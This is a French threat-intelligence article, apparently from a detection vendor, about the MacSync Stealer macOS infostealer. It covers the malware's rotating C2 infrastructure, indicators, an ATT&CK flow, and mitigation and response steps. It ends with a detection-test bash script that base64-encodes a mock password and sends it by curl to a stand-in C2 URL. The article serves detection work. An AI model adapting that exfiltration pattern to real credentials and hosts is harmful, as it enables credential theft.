SOC Prime Bias: Moyen

12 Mai 2026 18:31

MacSync Stealer Utilise une Infrastructure C2 Rotative

Author Photo
Ruslan Mikhalov Chef de la Recherche sur les Menaces chez SOC Prime linkedin icon Suivre
MacSync Stealer Utilise une Infrastructure C2 Rotative
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Résumé

MacSync Stealer est un malware voleur d’informations sur macOS proposé via un modèle de malware-as-a-service. Il repose sur un zsh chargeur multi-étapes qui se connecte à une gamme tournante de domaines de commande et de contrôle pour exfiltrer les informations volées, y compris les mots de passe et les identifiants de portefeuilles de cryptomonnaies. Le chargeur transmet des mots de passe en clair via un paramètre de chaîne de requête et télécharge une archive ZIP des données collectées par morceaux de 10 MiB. Sa stratégie de rotation d’infrastructure dépend d’une clé API statique réutilisée sur plusieurs domaines, combinée à un jeton hexadécimal par construction.

Enquête

RST Cloud a détecté une tentative de téléchargement depuis le nouveau domaine enregistré jacksonvillemma.com et capturé le chargeur de la phase 2 zsh en moins d’une heure. L’analyse statique a révélé le trio du jeton du chargeur, de la clé API et du chemin de commande et de contrôle : /curl, /dynamic, et /gate. Un pivotement supplémentaire basé sur ces modèles d’URI a révélé un cluster d’environ douze domaines de commande et de contrôle suspects actifs entre février et mai 2026. Quatre de ces domaines ont été confirmés pour partager la même clé API, tandis que les autres ont été liés uniquement par un comportement URI correspondant.

Atténuation

Les défenseurs devraient bloquer tous les domaines de commande et de contrôle connus de MacSync et surveiller les modèles de chemins d’URL distincts utilisés par le malware. Les journaux de proxy et de DNS devraient être vérifiés pour les requêtes contenant /curl, /dynamic, et /gate, ainsi que pour la chaîne d’agent utilisateur macOS ressemblant à Chrome raccourcie liée au chargeur. Les équipes de sécurité devraient également détecter la création de /tmp/osalogging.zip et surveiller les zsh processus exécutant base64 -D, gunzip, et eval en combinaison.

Réponse

Si un indicateur correspondant est trouvé, isolez immédiatement le point de terminaison affecté, terminez le zsh processus malveillant, et collectez la mémoire pour l’analyse de tout payload AppleScript. Réinitialisez les mots de passe utilisateur exposés et invalidez les identifiants compromis stockés dans le trousseau de macOS. La logique de détection devrait également être mise à jour avec le jeton observé, la clé API et les modèles d’agent utilisateur pour réduire le risque de compromission future.

"graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef file fill:#cccccc classDef process fill:#ccffcc %% Nodes initial_access_phishing["<b>Technique</b> – T1566 Phishing<br/><b>Description</b>: Malvertising delivers a script that runs curl to fetch the Stageu202f2 Zsh loader from a C2 domain."] class initial_access_phishing action tool_curl["<b>Tool</b> – curl<br/><b>Description</b>: Commandu2011line utility used to download the Stageu202f2 loader."] class tool_curl tool defense_obfuscate_compile["<b>Technique</b> – T1027.004 Compile After Delivery<br/><b>Description</b>: Zsh wrapper contains a base64u2011gzip payload that is decoded and executed with eval."] class defense_obfuscate_compile action defense_embedded_payload["<b>Technique</b> – T1027.009 Embedded Payloads<br/><b>Description</b>: Payload is embedded as a base64u2011encoded, gzipu2011compressed blob inside the wrapper."] class defense_embedded_payload action defense_stripped_payload["<b>Technique</b> – T1027.008 Stripped Payloads<br/><b>Description</b>: Wrapper is stripped of identifiable strings, relying on runtime decoding."] class defense_stripped_payload action defense_dynamic_api["<b>Technique</b> – T1027.007 Dynamic API Resolution<br/><b>Description</b>: HTTP requests include a static apiu2011key header and a custom truncated Useru2011Agent."] class defense_dynamic_api action execution_shared_modules["<b>Technique</b> – T1129 Shared Modules<br/><b>Description</b>: Decoded script is executed as a background Zsh function via eval."] class execution_shared_modules action process_zsh["<b>Process</b> – Zsh<br/><b>Description</b>: Shell used to run the decoded malicious function."] class process_zsh process cred_os_dumping["<b>Technique</b> – T1003 OS Credential Dumping<br/><b>Description</b>: AppleScript retrieved from C2 extracts macOS Keychain entries."] class cred_os_dumping action cred_browser["<b>Technique</b> – T1555.003 Credentials from Web Browsers<br/><b>Description</b>: Same AppleScript harvests stored credentials from Chromium browsers and cryptou2011wallet extensions."] class cred_browser action cred_unsecured_files["<b>Technique</b> – T1552.001 Unsecured Credentials in Files<br/><b>Description</b>: Harvested data written to /tmp/osalogging.zip before exfiltration."] class cred_unsecured_files action file_archive["<b>File</b> – /tmp/osalogging.zip<br/><b>Description</b>: Zip archive containing collected credentials."] class file_archive file collection_archive["<b>Technique</b> – T1560 Archive Collected Data<br/><b>Description</b>: Data compressed into a zip archive for staging."] class collection_archive action command_control_dynamic["<b>Technique</b> – T1568 Dynamic Resolution<br/><b>Description</b>: Malware contacts C2 using HTTP paths discovered via pattern matching."] class command_control_dynamic action cred_valid_accounts["<b>Technique</b> – T1078 Valid Accounts<br/><b>Description</b>: User macOS password sent in cleartext via u201c&pwd=u201d query parameter, giving attacker legitimate credentials."] class cred_valid_accounts action %% Connections initial_access_phishing –>|uses| tool_curl tool_curl –>|delivers| defense_obfuscate_compile defense_obfuscate_compile –>|includes| defense_embedded_payload defense_embedded_payload –>|includes| defense_stripped_payload defense_stripped_payload –>|uses| defense_dynamic_api defense_dynamic_api –>|enables| execution_shared_modules execution_shared_modules –>|executes| process_zsh process_zsh –>|runs| cred_os_dumping cred_os_dumping –>|runs| cred_browser cred_browser –>|writes to| cred_unsecured_files cred_unsecured_files –>|creates| file_archive file_archive –>|used by| collection_archive collection_archive –>|sent to| command_control_dynamic command_control_dynamic –>|provides| cred_valid_accounts "

Flux d’attaque

Exécution de simulation

Prérequis : Le contrôle préalable de la télémétrie et de la ligne de base doit avoir réussi.

Justification : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTPs identifiés et visent à générer la télémétrie exacte attendue par la logique de détection.

  • Narration & Commands d’attaque :
    Un adversaire a déployé le binaire stealer de MacSync sur une station de travail macOS compromise. Le stealer extrait le mot de passe du trousseau macOS de l’utilisateur actuel, l’encode en base64, et l’exfiltre via une requête HTTP GET à travers le proxy d’entreprise. La demande cible le point de terminaison C2 connu https://malicious.c2.net/dynamic?txd=<payload>. Étant donné que les journaux proxy capturent les URL complètes, la règle de détection verra la dynamic?txd= sous-chaîne et déclenchera une alerte.

  • Script de test de régression :

     #!/bin/bash
      # macsync_stealer_simulation.sh
      # Simule la communication C2 du vol MacSync pour déclencher la règle de détection.
    
      PROXY="http://proxy.corp.local:3128"
      C2_BASE="https://malicious.c2.net/dynamic?txd="
    
      # 1️⃣ Extraire un mot de passe fictif (à des fins de démonstration, utilisez le nom de l'utilisateur actuel)
      PASSWORD="$(whoami):P@ssw0rd!"
    
      # 2️⃣ Encoder l'identifiant en base64 (émule l'étape d'encodage de MacSync)
      ENCODED=$(printf "%s" "$PASSWORD" | base64)
    
      # 3️⃣ Construire l'URL malveillante complète
      MALICIOUS_URL="${C2_BASE}${ENCODED}"
    
      # 4️⃣ Envoyer la requête via le proxy d'entreprise
      curl -x "$PROXY" "$MALICIOUS_URL" -A "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_0) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.0 Safari/605.1.15"
    
      echo "Simulation exécutée – payload envoyé à $MALICIOUS_URL"
  • Commandes de nettoyage :

     # Supprimer les fichiers temporaires (aucun créé) et éventuellement purger le cache du proxy
      echo "Nettoyage des artefacts de simulation..."
      # Si vous utilisez Squid, purgez l'URL du cache pour éviter des accès répétés
      sudo squidclient -m PURGE "https://malicious.c2.net/dynamic?txd=*"